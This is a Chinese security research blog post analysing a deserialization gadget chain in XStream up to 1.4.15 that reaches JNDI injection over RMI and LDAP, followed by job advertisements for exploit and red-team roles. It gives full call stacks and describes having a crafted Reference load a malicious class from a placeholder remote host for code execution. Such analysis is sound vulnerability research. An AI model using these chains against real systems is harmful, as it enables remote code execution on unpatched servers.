Smi1e@卫兵实验室
分析日期
2021/01/18
漏洞复现证明截图
影响范围
XStream<=1.4.15
漏洞分析
年前找的一个链,前天害怕被撞就交了,结果今天就发了补丁,不过修的几个链跟我找的sink点和触发toString点都不一样,应该算一个新的CVE的,在这里给大家分享出来。
回顾下CVE-2020-26217的调用栈
com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap
java.util.HashMap#put
java.util.HashMap#hash
jdk.nashorn.internal.objects.NativeString#hashCode
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
java.io.SequenceInputStream#read(byte[], int, int)
java.io.SequenceInputStream#nextStream
javax.swing.MultiUIDefaults.MultiUIDefaultsEnumerator#nextElement
javax.imageio.spi.FilterIterator#next
javax.imageio.spi.FilterIterator#advance
javax.imageio.ImageIO.ContainsFilter#filter
java.lang.ProcessBuilder#start
hashcode()->toString()
的入口 jdk.nashorn.internal.objects.NativeString
和 sink点 javax.imageio.ImageIO$ContainsFilter
都被加入到了黑名单中。
不过我们可以复用 java.io.SequenceInputStream#nextStream
去找新的sink点。
RMI
com.sun.jndi.rmi.registry.BindingEnumeration
ctx
和 var2
我们都可控,因此这里可以进行JNDI注入。不过 ctx
是 com.sun.jndi.rmi.registry.RegistryContext
类型的,我们只能打rmi的JNDI注入,继续找找看有没有ldap的。
LDAP
com.sun.jndi.ldap.LdapBindingEnumeration#createItem
DirectoryManager.getObjectInstance
可以通过传入 Reference
对象来加载恶意class,var6、this.homeCtx、this.homeCtx.envprops、var2
我们都可控,回溯一下var4。
跟进 decodeReference
,由于 decodeObject
中的 var0
我们可控,最终可以让代码进入到 decodeReference
方法中,且 new Reference
的所有参数都可控,构造 new Reference("refClassName", "factoryClassName", "http://example.com:12345/")
传入 DirectoryManager.getObjectInstance
即可加载 http://example.com:12345/
上名为 factoryClassName.class
的类,将恶意代码放入static代码块即可任意代码执行。
把 com.sun.jndi.ldap.LdapBindingEnumeration
直接传过去会出现 this.data
不为null的情况,所以我用了 com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl
来间接调用 LdapBindingEnumeration#next
方法。
触发toString()
然后还有 toString
的入口,找了一圈所有类的 hashcode()
方法也没有找到能够触发 toString
的类,由于 SerializableConverter
支持调用 readObject
方法,前提是该类实现了 java.io.Serializable
接口(类的属性没有实现该接口依然可以被正常赋值),并且没有被之前的转换器捕获到,因此我们可以找找所有类的 readObject
方法。
比较常用的是 javax.management.BadAttributeValueExpException#readObject
,但是该类继承了 Throwable
,会被 ThrowableConverter
补货到,无法被 SerializableConverter
解析。
因此我们需要找一个新的类,我找到了一条可以用于Java原生反序列化触发 toString()
的链,这里暂不公开,下面是公开的几个CVE中用到的 toString
链。
java.util.PriorityQueue#readObject
->java.util.PriorityQueue#heapify
->java.util.PriorityQueue#siftDown
->java.util.PriorityQueue#siftDownUsingComparator
->javafx.collections.ObservableList#sorted()#compare()
不过这个链只能用在XStream中而不能用在Java原生反序列化中的,因为 javafx.collections.ObservableList
没有实现序列化接口。
调用栈
RMI
java.util.PriorityQueue#readObject
java.util.PriorityQueue#heapify
java.util.PriorityQueue#siftDown
java.util.PriorityQueue#siftDownUsingComparator
javafx.collections.ObservableList#sorted()#compare()
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
java.io.SequenceInputStream#read(byte[], int, int)
java.io.SequenceInputStream#nextStream
com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement
com.sun.jndi.rmi.registry.BindingEnumeration#next
RegistryContext.lookup
Ldap
java.util.PriorityQueue#readObject
java.util.PriorityQueue#heapify
java.util.PriorityQueue#siftDown
java.util.PriorityQueue#siftDownUsingComparator
javafx.collections.ObservableList#sorted()#compare()
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
java.io.SequenceInputStream#read(byte[], int, int)
java.io.SequenceInputStream#nextStream
com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement
com.sun.jndi.ldap.AbstractLdapNamingEnumeration#next
com.sun.jndi.ldap.LdapBindingEnumeration#createItem
javax.naming.spi.DirectoryManager#getObjectInstance
关于我们
人才招聘
岗位职责:
- 负责研究Window内核相关漏洞利用技术;
- 负责分析Window内核漏洞的原理及缓解措施;
任职要求:
- 2年以上windows逆向工作经验。
- 熟悉windows底层架构、运行机制,熟悉汇编语言 C/C++语言,熟悉win32/64开发,并有相关开发经验;
- 熟悉windows驱动开发、熟悉windows平台内核架构;能熟练运用Windows平台下的软件调试方法。
- 熟练使用ida、windbg等调试软件工具调试分析漏洞。
- 有CVE编号、内核研究成果者优先;
- 具备良好的团队沟通、协作能力、良好的职业道德。
岗位职责:
- 负责研究Linux内核相关漏洞利用技术;
- 负责分析Linux内核漏洞的原理及缓解措施;
任职要求:
- 2年以上Linux逆向工作经验。
- 熟悉Linux底层架构、运行机制,熟悉汇编语言 C/C++语言,熟悉x86/64开发,并有相关开发经验;
- 熟悉Linux驱动开发、熟悉Linux平台内核架构;能熟练运用Linux平台下的软件调试方法。
- 熟练使用ida、gdb、lldb等调试软件工具调试分析漏洞。
- 有CVE编号、内核研究成果者优先;
- 具备良好的团队沟通、协作能力、良好的职业道德。
岗位职责:
- 负责安全技术研究,跟踪国内外最新的安全技术以及安全漏洞的追踪;
- 负责进行二进制漏洞挖掘,包括不限于浏览器、chakara引擎、js引擎、office、pdf等等各种二进制类应用;
任职要求:
- 能主动关注国内外最新安全攻防技术,并在自己擅长和兴趣的领域能够进行深入的学习、研究;
- 熟练掌握windbg、ida、gdb等调试工具;
- 熟悉各类二进制安全漏洞原理(堆溢出、栈溢出、整数溢出、类型混淆等等)以及各种利用技术;
- 能够无障碍阅读英文技术文档;
- 具备良好的团队沟通、协作能力、良好的职业道德。
岗位职责:
- 跟踪最新安全技术动态,对高危安全漏洞进行快速分析和响应;
- 负责安全产品的线下、线上功能及流程的验收测试,保证项目进度和品质;
- 从事影响比较大的国内外大型的cms、中间件、框架漏洞挖掘工作
任职要求:
- 深入了解漏洞原理,能够独立挖掘/分析包括但不限于PHP/JAVA/.NET/ASP等大中型应用漏洞,并编写exp;
- 具备优秀的JAVA开发能力,能熟练挖掘 JAVA WEB 方面的漏洞,深入了解tomcat,weblogic,jboss,resin等中间件内部构造;
- 熟练使用至少一门开发语言,如:PHP、python、java;
- 有比较强的开发能力,熟悉java web的常见漏洞原理,有能力挖掘和分析java web方面的漏洞;
- 有重大漏洞发掘或高质量的CVE、0day挖掘能力的优先考虑;
岗位职责:
- 安全攻防技术研究,最新web应用及中间件漏洞挖掘研究;
- 跟踪分析国内外的安全动态,对重大安全事件进行快速响应;
- 针对相关产品,进行全面详细的安全测试评估;
任职要求:
- 了解常见的网络协议(TCP/IP,HTTP,FTP等);
- 熟练使用Wireshark等抓包工具,熟悉正则表达式;
- 掌握常见漏洞原理,有一定的漏洞分析能力;
- 具备php、python、java或其他相关语言编码能力;
- 对常见waf绕过有一定的基础经验;
- 具备一定的文档编写能力,具备良好的团队共同能力;
- 对安全有浓厚的兴趣,工作细致耐心。
岗位职责:
- 负责完成定向渗透测试任务;
- 负责完成攻防溯源任务。
任职要求:
- 三年以上相关工作经验,若满足以下所有条件,则可忽略此要求;
- 熟练掌握Cobalt Strike、Empire、Metasploit等后渗透工具的使用;
- 具有完善的全流程渗透测试意识;
- 具有大型、复杂网络环境的渗透测试经验;
- 具有杀软、流量防护、终端防护等防护措施的对抗经验;
- 具有独立的漏洞挖掘、研究能力;
- 熟练掌握至少一门开发语言,包括不局限于C/C++、Java、PHP、Python、nodejs等;
- 具备攻防溯源经验;
- 良好的沟通能力和团队协作能力。
加分项:
- 红队工具开发经验;
- 有良好的技术笔记习惯。
岗位职责:
- 负责完成定向渗透测试任务;
- 负责完成攻防溯源任务。
任职要求:
- 三年以上相关工作经验,若满足以下所有条件,则可忽略此要求;
- 熟练掌握Cobalt Strike、Empire、Metasploit等后渗透工具的使用;
- 具有完善的全流程渗透测试意识;
- 具有中小型和云环境的渗透测试经验;
- 具有独立的漏洞挖掘、研究能力;
- 熟练掌握至少一门开发语言,包括不局限于C/C++、Java、PHP、Python、nodejs等;
- 良好的沟通能力和团队协作能力。
加分项:
- 红队工具开发经验;
- 有良好的技术笔记习惯。
岗位职责:
- 负责完成安全工具开发;
- 负责完成攻防专题研究。
任职要求:
- 三年以上相关工作经验,若满足以下所有条件,则可忽略此要求;
- 熟悉常见攻防工具的原理和使用
- 熟悉常见的攻防概念
- 有实际开发安全相关工具的经验
- 熟练掌握至少三门开发语言,包括不局限于C/C++、Java、PHP、Python、nodejs、golang等;
- 熟练掌握网络编程
- 具有杀软、流量防护、终端防护等防护措施的对抗经验;
- 了解linux、windows相关安全特性
加分项:
- 丰富的实战攻防经验;
- 有良好的技术笔记习惯。
感兴趣的小伙伴看这里!
本文始发于微信公众号(安恒信息安全研究院):XStream<=1.4.15-反序列化-JNDI注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论